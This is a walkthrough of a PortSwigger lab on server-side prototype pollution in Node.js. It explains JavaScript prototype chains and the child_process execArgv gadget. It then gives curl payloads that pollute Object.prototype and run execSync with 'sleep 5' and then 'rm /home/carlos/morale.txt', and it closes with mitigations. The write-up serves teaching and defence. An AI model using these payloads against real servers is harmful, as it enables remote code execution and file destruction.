Necessary Background Concepts To Solve The Lab
Javascript Prototype
Most JavaScript objects have a link to a special object called its prototype
That link is not a copy of properties. It is a fallback: when you read a key that the object does not own, the engine looks for it on the prototype.
Each prototype can link to another one in turn. Those links form a prototype chain, which ends at null.
So a missing property is searched in this order:
- the object itself (own properties)
- its prototype
- that prototype’s prototype, and so on, until either finds it or finds
nulland returns the famousundefined
Prototype chain behavior examples
A lookup can walk more than one link. Here user inherits from roleDefaults, which still inherits from Object.prototype:
const roleDefaults = {
isAdmin: false
}
const user = {
username: "carlos",
__proto__: roleDefaults
}
console.log(user.username) // "carlos" (own)
console.log(user.isAdmin) // false (from roleDefaults)
console.log(user.toString) // [Function: toString] (from Object.prototype but was searched first in user and roleDefaults)
// The full chain:
// user -> roleDefaults -> Object.prototype -> null
A few more short examples
Undefined property default behavior:
const user = {
username: "carlos"
}
console.log(user.isAdmin) // undefined
Undefined property but present on the prototype chain:
const user = {
username: "carlos",
__proto__: {
isAdmin: true
}
}
console.log(user.isAdmin) // true
Priority of properties:
Own properties always win over inherited ones. If the object already has the key, the chain is not consulted
const user = {
username: "carlos",
isAdmin: false,
__proto__: {
isAdmin: true
}
}
console.log(user.isAdmin) // false Prototype Pollution Basics
Prototype pollution exploits how JavaScript objects inherit properties. With controlled input, an attacker sets properties on an object’s prototype (the shared fallback other objects also use). Those objects then see the new properties even though they never defined them, which can change how the application behaves.
The usual high-impact target is Object.prototype, because most plain objects inherit from it.
The attack does not always need that root, though.
Any prototype that sits on the chain of objects the application trusts is enough.
Polluting User.prototype, a shared config prototype, or another intermediate link can flip checks like if (user.isAdmin) for that lineage alone, even while unrelated objects stay unaffected.
Prototype pollution can happen client-side in the browser, or server-side if the backend runs a JavaScript runtime (usually Node.js).
Example payloads
These are common shapes attackers send when an app merges or parses user input unsafely.
Via __proto__:
{
"__proto__": {
"isAdmin": true
}
}
Same idea in a query or URL (some client-side parsers turn nested keys into objects):
?__proto__[isAdmin]=true
#__proto__[isAdmin]=true
Via constructor.prototype:
{
"constructor": {
"prototype": {
"isAdmin": true
}
}
}
Payload explaination:
Every object has a constructor that points at the function used to create it. Writing to constructor.prototype pollutes that function’s prototype, so later instances inherit the property.
class User {
username = ""
}
const user1 = new User()
user1.constructor.prototype.isAdmin = true // same as: User.prototype.isAdmin = true
const user2 = new User()
console.log(user2.isAdmin) // true
const somethingElse = {}
console.log(somethingElse.isAdmin) // undefined (different prototype chain) Node.js execArgv Gadget
Node.js execArgv as a Gadget
When you start Node yourself, you can pass CLI flags before the script:
node --inspect app.js
node --require ./preload.js app.js
node --eval "console.log(1)"
Those flags change how the Node process boots: enable the debugger, preload a module, or run inline JavaScript with --eval / -e.
child_process.fork() and spawn() can pass the same kind of flags to a child Node process through an options field named execArgv. It is just an array of strings, for example ["--inspect"] or ["--eval=console.log(1)"].
const { fork } = require("child_process")
fork("./worker.js", [], {
execArgv: ["--eval=console.log('child boot')"]
})
If application code builds an options object and never sets its own execArgv, a normal property read still walks the prototype chain:
const options = {}
options.execArgv // undefined
Object.prototype.execArgv = ["--eval=console.log('polluted')"]
options.execArgv // ["--eval=console.log('polluted')"]
After pollution, fork(script, args, options) can start the child with attacker-controlled Node flags. --eval is the interesting one: the child runs arbitrary JavaScript during startup. From that JavaScript you can call require("child_process").execSync(...) and run OS commands.
So the gadget is not “fork is always RCE”. The gadget is: pollute execArgv, then hit any code path that uses fork or spawn with an options object that inherits your value.
Lab’s content
This lab contains a login for the user wiener:peter, which has admin privileges.
Once authenticated, the two relevant features for the attack are:
-
The endpoint (
POST /my-account/change-address) that unsafely merges request data into a server-side object, from there we can pollute the globalObject.prototypeof the Node.js backend. -
The admin endpoint (
POST /admin/jobs) that starts separate Node.js worker processes for maintenance jobs. If those workers inherit a pollutedexecArgvfromObject.prototype, we can emulate the Node.js--evalflag to run arbitrary code and turn prototype pollution into Remote Code Execution.
The goal of the lab is to delete the file /home/carlos/morale.txt.
PortSwigger's original description
This lab is built on Node.js and the Express framework. It is vulnerable to server-side prototype pollution because it unsafely merges user-controllable input into a server-side JavaScript object. Due to the configuration of the server, it's possible to pollute `Object.prototype` in such a way that you can inject arbitrary system commands that are subsequently executed on the server. To solve the lab: find a prototype pollution source that you can use to add arbitrary properties to the global `Object.prototype`; identify a gadget that you can use to inject and execute arbitrary system commands; trigger remote execution of a command that deletes the file `/home/carlos/morale.txt`. In this lab, you already have escalated privileges, giving you access to admin functionality. You can log in to your own account with the following credentials: `wiener:peter`
Writeup
Set the base URL in a bash variable to make the rest of the commands shorter:
BASE_LAB_URL="https://<lab-url>.web-security-academy.net" Login
The CSRF token is tied to the session cookie. If you POST login without that cookie, the server opens a new empty session and rejects the token. So lets get both values:
curl -s -D - "$BASE_LAB_URL/login" | grep -iE 'set-cookie|csrf' Command breakdown:
-s= silent mode (no progress meter)
-D -= dump response headers to stdout
"$BASE_LAB_URL/login"= expands tohttps://<lab-url>.web-security-academy.net/login
| grep -iE 'set-cookie|csrf'= output only the lines containing session cookie and CSRF token
Example output:
set-cookie: session=<session-cookie>; Secure; HttpOnly; SameSite=None
<input required type="hidden" name="csrf" value="<csrf-token>"> POST /login is the authentication endpoint. Use the session cookie from above with the matching CSRF token to authenticate:
curl -s -D - \
-b "session=<session-cookie>" \
-d '{"csrf":"<csrf-token>","username":"wiener","password":"peter"}' \
"$BASE_LAB_URL/login" Formatted request body
{
"csrf": "<csrf-token>",
"username": "wiener",
"password": "peter"
} Command breakdown:
-b "session=<session-cookie>"= same session that issued the CSRF token
-d '{"csrf":...,"username":"wiener","password":"peter"}'= same fields the page posts viajsonSubmit()when using the browser
HTTP/2 302 Found
Location: /my-account?id=wiener
Set-Cookie: session=<session-cookie>; Secure; HttpOnly; SameSite=None Important: Use the new
sessioncookie from this response for the rest of the lab, do not use the one from the previous request.
Find the pollution source
POST /my-account/change-address updates the billing address as JSON. To check whether merges are prototype-safe, pollute Express’s json spaces setting. If the raw response suddenly comes back indented, Object.prototype was writable:
curl -s \
-b "session=<session-cookie>" \
-d '{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"<session-cookie>","__proto__":{"json spaces":10}}' \
"$BASE_LAB_URL/my-account/change-address" Formatted request body
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "<session-cookie>",
"__proto__": {
"json spaces": 10
}
} Command breakdown:
-b "session=<session-cookie>"= send the session cookie to perform the action as the wiener user
sessionId= this app requires the session id in the JSON body so we pass it that way too
"__proto__":{"json spaces":10}= the pollution payload.
Raw response shape:
{
"username": "wiener",
"firstname": "Peter",
"lastname": "Wiener",
"address_line_1": "Wiener HQ",
"isAdmin": true,
"json spaces": 10
} Because of the unsafe merge, “json spaces” lands on Object.prototype. Plain objects can inherit it on lookup. Express picks it up when formatting JSON, so the response is indented with 10 spaces. In this lab the property can also show up in the JSON body itself, which is extra proof the prototype is polluted.
Important: Pollution stays in the Node process until restart. If you break the app while testing, use Restart node application in the lab banner. In real life, there is no restart button so be careful with your tests.
If you want to see the pollution’s persistent issue you can issue the same request again without the pollution key and you will see that the property is still there reflected in the response and formatted in the JSON body, the global Object.prototype is still polluted.
How to achieve Remote Code Execution via Prototype Pollution
We do not get the lab’s source code, but thanks to my web developer background I can show a simplified scenario that matches the lab’s behavior. To understand what we have so far and what can we do with it.
Part 1: What we have so far. The unsafe merge function on change address endpoint
// unsafe merge function
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
merge(target[key], source[key])
} else {
target[key] = source[key] // Unsafe assignment
}
}
return target
}
// POST /my-account/change-address endpoint handler
async function changeAddress(req, res) {
const user = await User.findById(req.auth.user.id) // retrieve the user from the database
merge(user.address, req.body) // The unsafe merge reads the "__proto__" key and writes into Object.prototype.
await User.update(user) // update the user in the database
res.json(user.address) // return the updated user address
} Script breakdown:
merge(user.address, req.body)= merges the already-parsed JSON body. The framework’s automatic parsing turned"__proto__"into a normal own property
for (let key in source)= walks attacker keys, including"__proto__"
merge(target[key], source[key])= recursive merge for object values.
target[key] = source[key]= assigns a non-object value onto the target object.
The reason behind this kind of merge is to update nested objects without wiping sibling fields. A shallow assign would replace a whole branch. Recursion walks into objects and only overwrites the keys you sent:
const address = { city: "Madrid", metadata: { verified_address: false } }
merge(address, { metadata: { verified_address: true } })
// address.city stays "Madrid"
// address.metadata.verified_address becomes true
That is useful for a “change address” form. The bug is that the same recursion also walks attacker keys like "__proto__".
The important part is the recursive call when key is "__proto__".
Reading target["__proto__"] does not return a normal nested object. It returns the target’s prototype, which for a plain address object is Object.prototype.
So subsequently merge(target[key], source[key]) becomes merge(Object.prototype, { "json spaces": 10 }), and the next assignments write straight onto Object.prototype instead of onto user.address.nested_object.
Part 2: Child-process gadget on the admin jobs endpoint
In the admin’s dashboard there is an endpoint POST /admin/jobs. When called it starts separate Node.js worker processes for maintenance jobs. If those workers inherit a polluted execArgv from Object.prototype, we can emulate the Node.js --eval flag to run arbitrary code and turn prototype pollution into effective Code Execution.
Here is my attempt to replicate the behavior behind this endpoint:
const { fork } = require("child_process") // fork is a function that creates a new child process
// POST /admin/jobs endpoint handler
async function runAdminJobs(req, res) {
const results = []
for (const name of req.body.tasks) { // iterate over the tasks sent in the request body
const options = { cwd: __dirname } // set the current working directory to the directory of the script
const child = fork(`./tasks/${name}.js`, [], options) // on older node versions execArgv is inherited here in the options parameter this is the vector for RCE
const result = await new Promise((resolve) => { // run the actual task
const timer = setTimeout(() => { // set a timeout of 5 seconds to resolve the promise and kill the process if it takes too long
child.kill()
resolve({ name, success: false, error: { message: "Timed out waiting for task to complete." } })
}, 5000)
child.on("exit", (code) => { // if the execution flow reaches this point, it means the task finished before the timeout
clearTimeout(timer) // clear the 5 second timer we set earlier
resolve(code === 0 // if the exit code is 0, return a success object otherwise return an error object
? { name, success: true, message: "Child process executed successfully" }
: { name, success: false, error: { code, message: "Unexpected error." } }
)
})
})
results.push(result) // add the result to the results array
}
res.json({ results }) // send the results as a JSON response
} Script breakdown:
options = { cwd: __dirname }= fork options with no ownexecArgv
fork(..., [], options)=forkinternally reads the properties ofoptionsincludingoptions.execArgvso a pollutedObject.prototype.execArgvcan become the child’s Node CLI flags allowing us to to run arbitrary code with--eval=
setTimeout(..., 5000)= kills a hanged child process and returns"Timed out waiting for task to complete."
child.on("exit", ...)= reads the exit code of the child process and returns a non verbose informative JSON for the response
Important: I suspect this lab runs on a Node version older than 18.18.0 / 20.6.0.
Before those releases,forkand related functions used to read the options paremeters with a plain property lookup (including the ones sitting on the prototype chain), so a pollutedObject.prototype.execArgvwas treated as a real option and passed to the child as Node CLI flags.
Starting in 18.18.0 and 20.6.0 PR #48726 ,child_processonly honors own properties on the options object, so this inheritedexecArgvgadget no longer works unless application code copies the polluted value onto the options object itself (via merging option objects with a for..in loop for example) before passing it to the function’s parameters.
Let’s do a sanity check on the admin jobs endpoint before we start hacking it
Let’s grab a fresh CSRF from /admin so we can interact with the POST /admin/jobs endpoint:
curl -s "$BASE_LAB_URL/admin" -b "session=<session-cookie>" | grep csrf Now include the CSRF token and the session we got from the login endpoint in the request:
curl -s \
-b "session=<session-cookie>" \
-d '{"csrf":"<csrf-token>","sessionId":"<session-cookie>","tasks":["db-cleanup","fs-cleanup"]}' \
"$BASE_LAB_URL/admin/jobs" Formatted request body
{
"csrf": "<csrf-token>",
"sessionId": "<session-cookie>",
"tasks": [
"db-cleanup",
"fs-cleanup"
]
} {
"results": [
{ "name": "db-cleanup", "success": true },
{ "name": "fs-cleanup", "success": true }
]
} Confirm the RCE vector without Collaborator
The official solution pings Burp Collaborator from --eval to prove command execution. That works if you have Collaborator. So we want a confirmation that stays inside the lab.
Let’s treat it as a blind RCE and detect it by the timeout response. We’ll pollute execArgv with the change-address feature so when we trigger the admin jobs the child runs sleep 5:
curl -s \
-b "session=<session-cookie>" \
-d "{\"address_line_1\":\"Wiener HQ\",\"address_line_2\":\"One Wiener Way\",\"city\":\"Wienerville\",\"postcode\":\"BU1 1RP\",\"country\":\"UK\",\"sessionId\":\"<session-cookie>\",\"__proto__\":{\"execArgv\":[\"--eval=require('child_process').execSync('sleep 5')\"]}}" \
"$BASE_LAB_URL/my-account/change-address" Formatted request body
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "<session-cookie>",
"__proto__": {
"execArgv": [
"--eval=require('child_process').execSync('sleep 5')"
]
}
} Command breakdown:
--eval=require('child_process').execSync('sleep 5')= child process blocks onsleep 5during startup
execSync= it’s a function that can run shell commands
Trigger POST /admin/jobs again with the same request as before in the sanity check. Instead of success, both tasks fail but with timeout messages:
{
"results": [
{
"name": "db-cleanup",
"success": false,
"error": { "message": "Timed out waiting for task to complete." }
},
{
"name": "fs-cleanup",
"success": false,
"error": { "message": "Timed out waiting for task to complete." }
}
]
} Timed out waiting for task to complete. means the child accepted our execArgv and ran our --eval.
If instead of sleep 5 we made it run a code that crashes the child process, we would get an unexpected error response so this is a good indicator that the RCE vector is working.
Delete Carlos’s file
Swap sleep 5 for the objective:
curl -s \
-b "session=<session-cookie>" \
-d "{\"address_line_1\":\"Wiener HQ\",\"address_line_2\":\"One Wiener Way\",\"city\":\"Wienerville\",\"postcode\":\"BU1 1RP\",\"country\":\"UK\",\"sessionId\":\"<session-cookie>\",\"__proto__\":{\"execArgv\":[\"--eval=require('child_process').execSync('rm /home/carlos/morale.txt')\"]}}" \
"$BASE_LAB_URL/my-account/change-address" Formatted request body
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "<session-cookie>",
"__proto__": {
"execArgv": [
"--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
]
}
} Trigger POST /admin/jobs again. Example response:
{
"results": [
{
"name": "db-cleanup",
"success": true,
"message": "Child process executed successfully"
},
{
"name": "fs-cleanup",
"success": false,
"error": { "code": 1, "message": "Unexpected error." }
}
]
} The first task succeeds deleting the file and the second task fails with an error message because the file was already deleted.
Prototype pollution: because sometimes the most dangerous property on an object is the one you never assigned.
Mitigation
- Safe object merges: avoid merging JSON through
__proto__,constructor, orprototypespecially if it’s a user controlled source. - Own-property options: when calling
fork/spawn, setexecArgvexplicitly (process.execArgvor[]) so lookups do not fall through toObject.prototype - Avoid
--evalstyle sinks: do not let user-influenced values reach child process CLI flags, shell strings, or dynamicrequirepaths - Sanitize request data: If possible, never accept prototype pollution sources like
__proto__in the request body.